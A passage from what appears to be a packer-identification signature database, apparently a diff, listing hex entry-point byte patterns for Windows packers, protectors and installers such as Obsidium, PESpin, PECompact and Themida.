00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 +ep_only = true + +[Nullsoft Install System v1.xx] +signature = 55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 +ep_only = true + +[Nullsoft Install System v1.xx] +signature = 83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 +ep_only = true + +[Nullsoft Install System v2.0b2, v2.0b3] +signature = 83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15 +ep_only = true + +[Obsidium v1.2.5.0 -> Obsidium Software (h)] +signature = E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00 +ep_only = true + +[Obsidium v1.2.5.0 -> Obsidium Software (h)] +signature = E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00 +ep_only = true + +[Obsidium v1.3.0.0 -> Obsidium Software (h)] +signature = EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B +ep_only = true + +[Obsidium v1.3.0.4 -> Obsidium Software] +signature = EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00 +ep_only = true + +[ORiEN v2.11 (DEMO)] +signature = E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F +ep_only = true + +[ORiEN v2.11 - 2.12 -> Fisun Alexander] +signature = E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F +ep_only = true + +[PassLock 2000 v1.0 (Eng) -> Moonlight-Software] +signature = 55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 +ep_only = true + +[PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic (h)] +signature = FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C +ep_only = true + +[PC-Guard v5.00d] +signature = FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C +ep_only = true + +[PE Diminisher v0.1 -> Teraphy] +signature = 53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87 +ep_only = true + +[PE Protector 0.9.3 --> CRYPToCRACk] +signature = 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 +ep_only = true + +[PE Spin v0.b] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 +ep_only = true + +[Pe123 v2006.4.12] +signature = 8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B +ep_only = true + +[Pe123 v2006.4.4] +signature = 8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 +ep_only = true + +[PECompact v1.67] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11 +ep_only = true + +[PECompact v1.68 - v1.84] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11 +ep_only = true + +[PEiD-Bundle v1.00 - v1.01 --> BoB / BobSoft] +signature = 60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A +ep_only = true + +[PEiD-Bundle v1.00 --> BoB / BobSoft] +signature = 60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A +ep_only = true + +[PEiD-Bundle v1.01 --> BoB / BobSoft] +signature = 60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A +ep_only = true + +[PEiD-Bundle v1.02 --> BoB / BobSoft] +signature = 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44 +ep_only = true + +[PEnguinCrypt v1.0] +signature = B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0 +ep_only = true + +[PESpin v0.1 -> Cyberbob (h)] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[PESpin v0.3 (Eng) -> cyberbob] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[PESpin v0.7 -> Cyberbob (h)] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[PESpin v1.1 -> Cyberbob (h)] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[PESPin v1.3 -> Cyberbob (h)] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[PESpin v1.304 -> Cyberbob (h)] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[PESpin v1.3beta -> Cyberbob (h)] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF +ep_only = true + +[Petite 1.2 -> (c)1998 Ian Luck (h)] +signature = 66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 +ep_only = true + +[Petite 1.4 -> (c)1998-99 Ian Luck (h)] +signature = ?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 +ep_only = true + +[PeX v0.99 (Eng) -> bart/CrackPl] +signature = E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 +ep_only = true + +[Private EXE Protector 1.8 -> SetiSoft] +signature = A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3 +ep_only = false + +[Private EXE Protector 1.9.7 -> SetiSoft (h)] +signature = 55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6 +ep_only = false + +[PseudoSigner 0.2 [FSG 1.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B +ep_only = true + +[PseudoSigner 0.2 [Macromedia Flash Projector 6.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C +ep_only = true + +[PseudoSigner 0.2 [Video-Lan-Client] --> Anorganix] +signature = 55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 +ep_only = true + +[PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam] +signature = EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 +ep_only = true + +[RE-Crypt v0.7x -> Crudd [RET] (h1)] +signature = 60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B +ep_only = true + +[RE-Crypt v0.7x -> Crudd [RET] (h2)] +signature = 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B +ep_only = true + +[Reflexive Arcade Wrapper] +signature = 55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 +ep_only = true + +[RLPack 1.0 beta -> ap0x] +signature = 60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C +ep_only = true + +[RLPack Full Edition 1.17 DLL [aPLib] -> Ap0x] +signature = 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 +ep_only = true + +[RLPack V1.0.beta -> ap0x] +signature = 60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB +ep_only = true + +[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision] +signature = 55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57 +ep_only = true + +[SDProtect -> Randy Li] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 +ep_only = true + +[SDProtector 1.x -> Randy Li] +signature = 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 +ep_only = true + +[SDProtector Basic/Pro Edition 1.10 -> Randy Li (h)] +signature = 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 +ep_only = true + +[SDProtector Pro Edition 1.16 -> Randy Li (h)] +signature = 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 +ep_only = true + +[SmartE -> Microsoft] +signature = EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06 +ep_only = true + +[Soft Defender v1.0 - v1.1] +signature = 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8 +ep_only = true + +[SoftDefender 1.x -> Randy Li] +signature = 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 +ep_only = true + +[SOFTWrapper for Win9x/NT (Evaluation Version)] +signature = E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF +ep_only = true + +[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven] +signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 +ep_only = true + +[SuperDAT] +signature = 55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D +ep_only = true + +[SVK Protector v1.32 (Eng) -> Pavol Cerven] +signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E +ep_only = true + +[SVK Protector v1.3x (Eng) -> Pavol Cerven] +signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E +ep_only = true + +[themida 1.0.0.5 -> http://www.oreans.com] +signature = B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 +ep_only = true + +[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies] +signature = B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? 